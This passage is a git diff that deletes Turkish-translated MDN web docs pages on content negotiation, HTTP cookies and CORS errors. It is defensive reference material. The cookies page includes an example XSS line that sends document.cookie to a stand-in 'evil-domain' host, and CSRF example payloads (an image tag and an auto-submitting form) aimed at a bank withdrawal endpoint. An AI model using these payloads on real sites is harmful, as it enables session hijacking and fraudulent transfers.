a version number, like <code>Firefox/4.0.1</code>. There may be as many of them as the user-agent wants. A <em>comment</em> is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by '<code>;</code>'.</p> - -<h3 id="The_Vary_response_header">The <code>Vary</code> response header</h3> - -<p>In opposition to the previous <code>Accept-*</code> headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.</p> - -<p>The special value of '<code>*</code>' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content.</p> - -<p>The <code>Vary</code> header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '<code>*</code>' prevents caching from occurring, as the cache cannot know what element is behind it.</p> - -<h2 id="Agent-driven_negotiation">Agent-driven negotiation</h2> - -<p>Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern.</p> - -<p>From the beginnings of HTTP, the protocol allowed another negotiation type: <em>agent-driven negotiation</em> or <em>reactive negotiation</em>. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/13795/HTTPNego3.png"></p> - -<p>Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the <em>server-driven negotiation</em>, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user.</p> diff --git a/files/tr/web/http/cookies/index.html b/files/tr/web/http/cookies/index.html deleted file mode 100644 index b815de758d..0000000000 --- a/files/tr/web/http/cookies/index.html +++ /dev/null @@ -1,251 +0,0 @@ ---- -title: HTTP çerezleri -slug: Web/HTTP/Cookies -tags: - - HTTP - - Sunucu - - Tarayıcı - - Çerezler -translation_of: Web/HTTP/Cookies ---- -<div>{{HTTPSidebar}}</div> - -<p class="summary"><span class="seoSummary"><dfn>HTTP çerezi</dfn> (web çerezi, tarayıcı çerezi), bir sunucunun kullanıcının web tarayıcısına gönderdiği küçük bir veri parçasıdır. Tarayıcı bunu saklayabilir ve bir sonraki istekle aynı sunucuya geri gönderebilir.</span> <span class="tlid-translation translation" lang="tr">Genellikle, iki ayrı isteğin aynı tarayıcıdan gelip gelmediğini anlamak için kullanılır - örneğin bir kullanıcının giriş yapmış olarak kalması gibi. HTTP protokolü durumsuz (</span><a href="/en-US/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless">stateless</a><span class="tlid-translation translation" lang="tr">) olduğu için çerez durum bilgisini hatırlar.</span></p> - -<p>Çerezler temel olarak üç amaç için kullanılır:</p> - -<dl> - <dt>Oturum yönetimi</dt> - <dd><span class="tlid-translation translation" lang="tr">Girişler, alışveriş sepetleri, oyun puanları veya sunucunun hatırlaması gereken diğer şeyler</span></dd> - <dt><span class="tlid-translation translation" lang="tr">Kişiselleştirme</span></dt> - <dd><span class="tlid-translation translation" lang="tr">Kullanıcı tercihleri, temalar ve diğer ayarlar</span></dd> - <dt><span class="tlid-translation translation" lang="tr">Takip etme</span></dt> - <dd><span class="tlid-translation translation" lang="tr">Kullanıcı davranışını kaydetme ve analiz etme</span></dd> -</dl> - -<p><span class="tlid-translation translation" lang="tr">Çerezler eskiden genel istemci tarafında depolama amaçlı kullanılmıştır. O zamanlar istemcide veri depolamanın tek yolu bu olduğundan çerez kullanımı mantıklı idi; ancak günümüzde modern depolama API'lerini tercih etmeleri önerilir. Çerezler her istekle birlikte gönderilir, bu yüzden performansı düşürebilirler (özellikle mobil veri bağlantıları için). İstemci depolaması için kullanılan modern API'ler </span><a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> ve <code>sessionStorage</code>) ve <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a><span class="tlid-translation translation" lang="tr">'dir.</span></p> - -<div class="note"> -<p><span class="tlid-translation translation" lang="tr">Depolanmış çerezleri (ve bir web sayfasının kullanabileceği diğer depoları) görmek için, Geliştirici Araçları'nda Depolama Denetçisi'ni (</span><a href="/en-US/docs/Tools/Storage_Inspector">Storage Inspector</a><span class="tlid-translation translation" lang="tr">) etkinleştirebilir ve depolama ağacından Çerezler'i seçebilirsiniz.</span></p> -</div> - -<h2 id="Çerez_oluşturma"><span class="tlid-translation translation" lang="tr">Çerez oluşturma</span></h2> - -<p><span class="tlid-translation translation" lang="tr">Bir HTTP isteği aldığında, sunucu yanıtla beraber bir {{HTTPHeader ("Set-Cookie")}} başlığı gönderebilir. Bu çerez genellikle tarayıcı tarafından depolanır ve daha sonra aynı sunucuya yapılan isteklerde {{HTTPHeader ("Cookie")}} HTTP başlığı içinde gönderilir. Son kullanma tarihi veya kullanım süresi tanımlanabilir, bu süre bitiminde artık çerez gönderilmez. Buna ilaveten, çerezin gönderildiği yeri sınırlayacak belirli bir alan(domain) ve yol(path) için kısıtlamalar konulabilir.</span></p> - -<h3 id="Set-Cookie_ve_Cookie_başlıkları"><code>Set-Cookie</code> ve <code>Cookie</code> başlıkları</h3> - -<p>The {{HTTPHeader("Set-Cookie")}} HTTP yanıt başlığı,<span class="tlid-translation translation" lang="tr"> sunucudan kullanıcı programa çerezleri gönderir. Basit bir çerez şöyle ayarlanır:</span> :</p> - -<pre class="syntaxbox">Set-Cookie: <cookie-adı>=<cookie-değeri></pre> - -<p><span class="tlid-translation translation" lang="tr">Sunucudan gelen bu başlık istemciye bir çerezi kaydetmesini söyler.</span></p> - -<div class="note"><strong>Not:</strong> <code>Set-Cookie</code><span class="tlid-translation translation" lang="tr"> başlığı çeşitli sunucu tarafı uygulamalarda şöyle kullanılır</span>: - -<ul> - <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li> - <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li> - <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li> - <li><a href="https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li> -</ul> -</div> - -<pre>HTTP/2.0 200 OK -Content-type: text/html -Set-Cookie: skor=75 -Set-Cookie: tema=dark - -[page content]</pre> - -<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored"><span class="tlid-translation translation" lang="tr">Artık tarayıcı sunucuya yaptığı her yeni istekte daha önce kaydetmiş olduğu tüm çerezleri {{HTTPHeader ("Cookie")}} başlığını kullanarak geri gönderir.</span></p> - -<pre>GET /sample_page.html HTTP/2.0 -Host: www.example.org -Cookie: skor=75; tema=dark</pre> - -<h3 id="Oturum_çerezleri">Oturum çerezleri</h3> - -<p><span class="tlid-translation translation" lang="tr">Yukarıda oluşturulan çerez bir <em>oturum çerezidir</em>: istemci kapandığında silinir, çünkü bir </span><code>Expires</code> veya <code>Max-Age</code><span class="tlid-translation translation" lang="tr"> direktifi belirtmemiştir. Ancak web tarayıcıları <strong>oturum canlandırma (</strong></span><strong>session restoring</strong><span class="tlid-translation translation" lang="tr"><strong>)</strong> özelliğini kullanarak çoğu oturum çerezini sanki tarayıcı hiç kapatılmamış gibi kalıcı yapabilirler.</span></p> - -<h3 id="Kalıcı_çerezler">Kalıcı çerezler</h3> - -<p><em>K</em><span class="tlid-translation translation" lang="tr"><em>alıcı çerezler</em>, </span>istemci <span class="tlid-translation translation" lang="tr">kapandığında zaman aşımına uğramak yerine, belirli bir tarihte </span>(<code>Expires</code>)<span class="tlid-translation translation" lang="tr"> veya belirli bir süre sonra </span>(<code>Max-Age</code>)<span class="tlid-translation translation" lang="tr"> kullanımdan kalkar.</span></p> - -<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre> - -<div class="note"> -<p><strong>Not</strong>: <span class="tlid-translation translation" lang="tr">Son kullanma tarihi belirtildiğinde, saat ve tarih sunucuya göre değil, çerezi tanımlayan istemciye göre ayarlanır.</span></p> -</div> - -<h3 id="Secure_ve_HttpOnly_çerezleri"><code>Secure</code> ve <code>HttpOnly</code> çerezleri</h3> - -<p><span class="tlid-translation translation" lang="tr">Güvenli bir çerez, sunucuya yalnızca HTTPS protokolü üzerinden şifrelenmiş bir istekle gönderilebilir. </span><code>Secure</code><span class="tlid-translation translation" lang="tr"> bayrağı bile olsa, hassas bilgiler <em>asla </em>çerezlerde saklanmamalıdır; çünkü çerezler doğası gereği güvenli değildir ve bu bayrak gerçek bir koruma sağlayamaz. Chrome 52 ve Firefox 52'den itibaren, güvensiz siteler </span>(<code>http:</code>) <code>Secure</code> direktifi <span class="tlid-translation translation" lang="tr">ile çerezleri ayarlayamamaktadır.</span></p> - -<p><span class="tlid-translation translation" lang="tr">Siteler arası komut dosyası çalıştırma ({{Glossary ("XSS")}}) saldırılarını önlemek için, </span><code>HttpOnly</code><span class="tlid-translation translation" lang="tr"> çerezlerine JavaScript'in {{domxref ("Document.cookie")}} API'sinden erişilemez; bu çerezler sadece sunucuya gönderilir. Örneğin, sunucu tarafı oturumlarını devam ettiren çerezlerin JavaScript'ten erşilebilir olması gerekmez, ve bunlarda </span><code>HttpOnly</code> <span class="tlid-translation translation" lang="tr">bayrağı ayarlanmalıdır.</span></p> - -<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre> - -<h3 id="Çerezlerin_kapsamı"><span class="tlid-translation translation" lang="tr">Çerezlerin kapsamı</span></h3> - -<p><code>Domain</code> ve <code>Path</code> direktifleri<span class="tlid-translation translation" lang="tr"> çerezin <em>kapsamını </em>yani hangi URL'lere gönderilmesi gerektiğini </span>tanımlar.</p> - -<p><code>Domain</code> <span class="tlid-translation translation" lang="tr">çerezlerin alınmasına izin verilen ana bilgisayarları(host) belirtir. Eğer belirtilmemişse varsayılan değeri <strong>alt alanlar hariç</strong> şu anki belge konumundaki ana bilgisayardır (</span><a href="/en-US/docs/Web/API/Document/location">host of the current document location</a><span class="tlid-translation translation" lang="tr">). Eğer </span><code>Domain</code><span class="tlid-translation translation" lang="tr"> <em>belirtilmişse</em>, alt alanlar her zaman dahil edilir.</span></p> - -<p><span class="tlid-translation translation" lang="tr">Örneğin, </span><code>Domain=mozilla.org</code><span class="tlid-translation translation" lang="tr"> belirtilmişse, çerezler </span><code>developer.mozilla.org</code><span class="tlid-translation translation" lang="tr"> gibi alt alanlarda dahil edilir.</span></p> - -<p><code>Path</code><span class="tlid-translation translation" lang="tr">, </span><code>Cookie</code><span class="tlid-translation translation" lang="tr"> başlığını gönderebilmek için istenen URL'de bulunması gereken URL yolunu gösterir. %X2F ("/") karakteri dizin ayırıcı olarak kabul edilir ve alt dizinler de eşleşir.</span></p> - -<p><span class="tlid-translation translation" lang="tr">Örneğin, </span><code>Path=/docs</code> <span class="tlid-translation translation" lang="tr">belirtilmişse, şu yollar eşleşecektir:</span></p> - -<ul> - <li><code>/docs</code></li> - <li><code>/docs/Web/</code></li> - <li><code>/docs/Web/HTTP</code></li> -</ul> - -<h3 id="SameSite_çerezleri_experimental_inline"><code>SameSite</code> çerezleri {{experimental_inline}}</h3> - -<p><code>SameSite</code> çerezleri,<span class="tlid-translation translation" lang="tr"> sunucuların siteler arası yapılan isteklerde (buradaki </span>{{Glossary("Site")}}<span class="tlid-translation translation" lang="tr"> tescilli etki alanı tarafından tanımlıdır) çerez gönderimini engellemesini sağlar, bu da siteler arası sahtecilik saldırılarına </span>({{Glossary("CSRF")}})<span class="tlid-translation translation" lang="tr"> karşı bir miktar koruma sağlar.</span></p> - -<p><code>SameSite</code><span class="tlid-translation translation" lang="tr"> çerezleri nispeten yenidir ve <a href="/en-US/docs/Web/HTTP/headers/Set-Cookie#Browser_compatibility">tüm büyük tarayıcılar tarafından desteklenmektedir</a>.</span></p> - -<p>Örnek:</p> - -<pre>Set-Cookie: key=value; SameSite=Strict</pre> - -<p>SameSite<span class="tlid-translation translation" lang="tr"> özelliği şu iki değerden birini alabilir (büyük/küçük harf duyarlı değil):</span></p> - -<dl> - <dt><code>Strict</code></dt> - <dd><span class="tlid-translation translation" lang="tr">Same-site çerezi bu özelliğe sahipse, tarayıcı yalnızca istek çerezleri oluşturan web sitesinden geldiğinde çerezleri gönderir. Eğer istek şu anki konumun URL’sinden farklı bir URL’den geldiyse, </span><code>Strict</code><span class="tlid-translation translation" lang="tr"> özelliği ile etiketlenen çerezlerin hiçbiri isteğe dahil edilmez.</span></dd> - <dt><code>Lax</code></dt> - <dd>Same-site değeri <span class="tlid-translation translation" lang="tr">Lax olarak ayarlanmışsa, resim veya frame yüklemek için yapılan aramalar gibi siteler arası alt isteklerde same-site çerezleri bekletilir; ancak kullanıcı URL’ye harici bir siteden, örneğin bir bağlantıyı takip ederek gelmişse gönderilir.</span></dd> -</dl> - -<p><span class="tlid-translation translation" lang="tr">Bayrak belirtilmemişse veya tarayıcı tarafından desteklenmiyorsa, varsayılan davranış, çerezleri farklı kaynaklı istekler (cross-origin requests) de dahil her isteğe dahil etmektir.</span></p> - -<h3 id="Cookie_önekleri_experimental_inline">Cookie önekleri {{experimental_inline}}</h3> - -<p>The design of the cookie mechanism is such that a server is unable to confirm a cookie was set on a secure origin or indeed, tell <em>where</em> a cookie was originally set. Recall that a subdomain such as <code>application.example.com</code> can set a cookie that will be sent with requests to <code>example.com</code> or other sub-domains by setting the <em>Domain</em> attribute:</p> - -<pre class="syntaxbox">Set-Cookie: CSRF=e8b667; Secure; Domain=example.com</pre> - -<p>If a vulnerable application is available on a sub-domain, this mechanism can be abused in a <em>session fixation</em> attack. When the user visits a page on the parent domain (or another subdomain), the application may trust the existing value sent in the user's cookie. This could allow an attacker to bypass CSRF protection or hijack a session after the user logs in.</p> - -<p>Alternatively, if the parent domain does not use {{Glossary("HSTS")}} with <code>includeSubdomains</code> set, a user subject to an active MitM (perhaps connected to an open WiFi network) could be served a response with a {{HTTPHeader("Set-Cookie")}} header from a non-existent sub-domain. The end result would be much the same, with the browser storing the illegitimate cookie and sending it to all other pages under <code>example.com</code>.</p> - -<p>Session fixation should primarily be mitigated by regenerating session cookie values when the user authenticates (even if a cookie already exists) and by tieing any CSRF token to the user. As a defence in depth measure, however, it is possible to use <em>cookie prefixes</em> to assert specific facts about the cookie. Two prefixes are available:</p> - -<dl> - <dt><code>__Host-</code></dt> - <dd>If a cookie name has this prefix, it will only be accepted in a {{HTTPHeader("Set-Cookie")}} directive if it is marked <code>Secure</code>, does <em>not</em> include a <code>Domain</code> attribute and was sent from a secure origin. In this way, these cookies can be seen as "domain-locked".</dd> - <dt><code>__Secure-</code></dt> - <dd>If a cookie name has this prefix, it will only be accepted in a {{HTTPHeader("Set-Cookie")}} directive if it is marked <code>Secure</code> and was sent from a secure origin. This is weaker than the <code>__Host-</code> prefix.</dd> -</dl> - -<p>Cookies sent which are not compliant will be rejected by the browser. Note that this ensures that if a sub-domain were to create a cookie with this name, it would be either be confined to the sub-domain or ignored completely. As the application server will only check for a specific cookie name when determining if the user is authenticated or a CSRF token is correct, this effectively acts as a defence measure against session fixation.</p> - -<div class="note"> -<p>On the application server, the web application <em>must</em> check for the full cookie name including the prefix—user agents <em>will not</em> strip the prefix from the cookie before sending it in a request's {{HTTPHeader("Cookie")}} header.</p> -</div> - -<p>For more information about cookie prefixes and the current state of browser support, see the <a href="/en-US/docs/Web/HTTP/Headers/Set-Cookie#Cookie_prefixes">Set-Cookie section</a>.</p> - -<h3 id="JavaScript_access_using_Document.cookie">JavaScript access using <code>Document.cookie</code></h3> - -<p>New cookies can also be created via JavaScript using the {{domxref("Document.cookie")}} property, and if the <code>HttpOnly</code> flag is not set, existing cookies can be accessed from JavaScript as well.</p> - -<pre class="brush: js">document.cookie = "yummy_cookie=choco"; -document.cookie = "tasty_cookie=strawberry"; -console.log(document.cookie); -// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre> - -<p>Cookies created via JavaScript cannot include the <code>HttpOnly</code> flag.</p> - -<p>Please note the security issues in the <a href="/en-US/docs/Web/HTTP/Cookies#Security">Security</a> section below. Cookies available to JavaScript can be stolen through XSS.</p> - -<h2 id="Security">Security</h2> - -<div class="note"> -<p>Information should be stored in cookies with the understanding that all cookie values will be visible to and can be changed by the end-user. Depending on the application, it may be desirable to use an opaque identifier which is looked-up server-side or investigate alternative authentication/confidentiality mechanisms such as JSON Web Tokens.</p> -</div> - -<h3 id="Session_hijacking_and_XSS">Session hijacking and XSS</h3> - -<p>Cookies are often used in web application to identify a user and their authenticated session, so stealing a cookie can lead to hijacking the authenticated user's session. Common ways to steal cookies include Social Engineering or exploiting an {{Glossary("XSS")}} vulnerability in the application.</p> - -<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;</pre> - -<p>The <code>HttpOnly</code> cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript. Exfiltration avenues can be limited by deploying a strict <a href="/en-US/docs/Web/HTTP/CSP">Content-Security-Policy</a>.</p> - -<h3 id="Cross-site_request_forgery_(CSRF)">Cross-site request forgery (CSRF)</h3> - -<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> mentions a good example for {{Glossary("CSRF")}}. In this situation, someone includes an image that isn’t really an image (for example in an unfiltered chat or forum), instead it really is a request to your bank’s server to withdraw money:</p> - -<pre class="brush: html"><img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></pre> - -<p>Now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the HTML that contains this image. For endpoints that require a POST request, it's possible to programmatically trigger a <code><form></code> submit (perhaps in an invisible <code><iframe></code>) when the page is loaded:</p> - -<pre class="brush: html"><form action="https://bank.example.com/withdraw" method="POST"> - <input type="hidden" name="account" value="bob"> - <input type="hidden" name="amount" value="1000000"> - <input type="hidden" name="for" value="mallory"> -</form> -<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script> -</pre> - -<p>There are a few techniques that should be used to prevent this from happening:</p> - -<ul> - <li>GET endpoints should be idempotent—actions that enact a <em>change </em>and do not simply retrieve data should require sending a POST (or other HTTP method) request. POST endpoints should not interchangeably accept GET requests with parameters in the query string.</li> - <li>A CSRF token should be included in <code><form></code> elements via a hidden input field. This token should be unique per user and stored (for example, in a cookie) such that the server can look up the expected value when the request is sent. For all non-GET requests that have the potential to perform an action, this input field should be compared against the expected value. If there is a mismatch, the request should be aborted. - <ul> - <li>This method of protection relies on an attacker being unable to predict the user's assigned CSRF token. The token should be regenerated on sign-in.</li> - </ul> - </li> - <li>Cookies that are used for sensitive actions (such as session cookies) should have a short lifetime with the SameSite attribute set to <code>Strict</code> or <code>Lax</code>. (See <a href="/en-US/docs/Web/HTTP/Cookies#SameSite_cookies">SameSite cookies</a> above). In supporting browsers, this will have the effect of ensuring that the session cookie is <em>not</em> sent along with cross-site requests and so the request is effectively unauthenticated to the application server.</li> - <li>Both CSRF tokens and SameSite cookies should be deployed. This ensures all browsers are protected and provides protection where SameSite cookies cannot help (such as attacks originating from a separate subdomain).</li> - <li>For more prevention tips, see the <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>.</li> -</ul> - -<h2 id="Tracking_and_privacy">Tracking and privacy</h2> - -<h3 id="Third-party_cookies">Third-party cookies</h3> - -<p>Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a <em>first-party cookie</em>. If the domain is different, it is said to be a <em>third-party cookie</em>. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the <a href="https://www.google.com/policies/technologies/types/">types of cookies used by Google</a>. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> by the <a href="https://www.eff.org/">EFF</a>).</p> - -<p>If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikimedia Foundation's <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement</a>.</p> - -<h3 id="Do-Not-Track">Do-Not-Track</h3> - -<p>There are no legal or technological requirements for its use, but the {{HTTPHeader("DNT")}} header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the {{HTTPHeader("DNT")}} header for more information.</p> - -<h3 id="EU_cookie_directive">EU cookie directive</h3> - -<p>Requirements for cookies across the EU are defined in <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a> of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.</p> - -<p>In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners (AKA "cookie banners") since then to inform the user about the use of cookies.</p> - -<p>For more, see <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">this Wikipedia section</a> and consult state laws for the latest and most accurate information.</p> - -<h3 id="Zombie_cookies_and_Evercookies">Zombie cookies and Evercookies</h3> - -<p>A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a>, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.</p> - -<ul> - <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li> - <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies on Wikipedia</a></li> -</ul> - -<h2 id="Bakınız">Bakınız</h2> - -<ul> - <li>{{HTTPHeader("Set-Cookie")}}</li> - <li>{{HTTPHeader("Cookie")}}</li> - <li>{{domxref("Document.cookie")}}</li> - <li>{{domxref("Navigator.cookieEnabled")}}</li> - <li><a href="/tr/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li> - <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie tanımı: RFC 6265</a></li> - <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">Wikipedia'da HTTP çerezi</a></li> -</ul> diff --git a/files/tr/web/http/cors/errors/corsrequestnothttp/index.html b/files/tr/web/http/cors/errors/corsrequestnothttp/index.html deleted file mode 100644 index b11ef3fd36..0000000000 --- a/files/tr/web/http/cors/errors/corsrequestnothttp/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: 'Reason: CORS request not HTTP' -slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp -tags: - - Güvenlik - - Hata - - Mesajlar - - Sebepler - - konsol -translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp ---- -<div>{{HTTPSidebar}}</div> - -<h2 id="Sebep">Sebep</h2> - -<pre class="syntaxbox">Sebep: CORS isteği HTTP değil</pre> - -<h2 id="Yanlış_giden_ne">Yanlış giden ne?</h2> - -<p>{{Glossary("CORS")}} istekleri yalnızca HTTPS URL şemasını kullanabilir, ancak istek tarafından belirtilen URL farklı türdedir. Bu genellikle URL <code>file:///</code> kullanarak yerel bir dosya belirtirse olur.</p> - -<p>Bu sorunu çözmek için, CORS içeren isteklerde bulunurken HTTPS URL'leri kullandığınızdan emin olun.</p> - -<h2 id="Bakınız">Bakınız</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS hataları</a></li> - <li>Sözlük: {{Glossary("CORS")}}</li> - <li><a href="/en-US/docs/Web/HTTP/CORS">CORS'a giriş</a></li> - <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">URL nedir?</a></li> -</ul> diff --git a/files/tr/web/http/cors/errors/index.html b/files/tr/web/http/cors/errors/index.html deleted file mode 100644 index d1dd12dc75..0000000000 --- a/files/tr/web/http/cors/errors/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: CORS errors -slug: Web/HTTP/CORS/Errors -tags: - - CORS - - Errors - - HTTP - - HTTPS - - Messages - - NeedsTranslation - - Same-origin - - Security - - TopicStub - - console - - troubleshooting -translation_of: Web/HTTP/CORS/Errors ---- -<div>{{HTTPSidebar}}</div> - -<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) is a standard that allows a server to relax the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This is used to explicitly allow some cross-origin requests while rejecting others.</span> For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.</p> - -<p>If the CORS configuration isn't setup correctly, the browser console will present an error like <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.</p> - -<h2 id="Identifying_the_issue">Identifying the issue</h2> - -<p>To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:</p> - -<ol> - <li>Navigate to the web site or web app in question and open the <a href="/en-US/docs/Tools">Developer Tools</a>.</li> - <li>Now try to reproduce the failing transaction and check the <a href="/en-US/docs/Tools/Web_Console">console</a> if you are seeing a CORS violation error message. It will probably look like this:</li> -</ol> - -<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p> - -<p>The text of the error message will be something similar to the following:</p> - -<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows -reading the remote resource at <em>https://some-url-here</em>. (<em>Reason: -additional information here</em>).</span></span></span></pre> - -<div class="note"> -<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> For security reasons, specifics about what went wrong with a CORS request <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</span></span></span></p> -</div> - -<h2 id="CORS_error_messages">CORS error messages</h2> - -<p>Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong. The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.</p> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Reason: CORS disabled</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Reason: CORS request did not succeed</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Reason: CORS header ‘Origin’ cannot be added</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Reason: CORS request external redirect not allowed</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li> -</ul> - -<h2 id="See_also">See also</h2> - -<ul> - <li>Glossary: {{Glossary("CORS")}}</li> - <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> - <li><a 